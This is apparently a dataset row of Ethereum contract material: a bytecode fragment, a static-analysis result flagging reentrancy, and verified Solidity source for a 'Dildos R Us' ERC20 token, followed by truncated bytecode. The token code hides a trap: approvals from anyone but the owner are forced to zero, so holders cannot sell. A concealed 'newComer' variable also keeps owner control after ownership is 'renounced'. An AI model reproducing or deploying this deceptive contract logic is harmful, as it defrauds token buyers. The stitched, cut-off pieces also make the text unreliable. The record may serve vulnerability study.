5b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506714d1120d7b160000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a819055506008600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a819055506008600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233368056bc75e2d63100000600854611cf790919063ffffffff16565b8210156123525760085468056bc75e2d6310000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022ea3ef20a5707093cb5da388b93901ee5b9652456b2c139832315cf61a72b5664736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,913 |
0x797738b55ae3ffe9512270ca70cc95d97c45b70d
|
/**
*Submitted for verification at Etherscan.io on 2021-12-12
*/
/**
Here at DildosRus we aim to teach and mentor our holders on how to get laid successfully.
The information provided will come from certified professionals who have successfully tested their practises.
We also aim to launch our free Hentai platform shortly after & within this platform we plan on including a
space for paid advertisement. 30% of profits from the advertisement will be used to buy back DILDO at market price.
Along the way we aim to have lots of fun within the community, while also donating to charitable organisations
who help improve the sexual health and well being of men and women.
Twitter - https://mobile.twitter.com/DildosRuseth
Website -dildosr.us
Telegram chat -https://t.me/dildosruserc
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract DildosRUs is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Dildos R Us' ;
string private _symbol = 'DILDO';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffff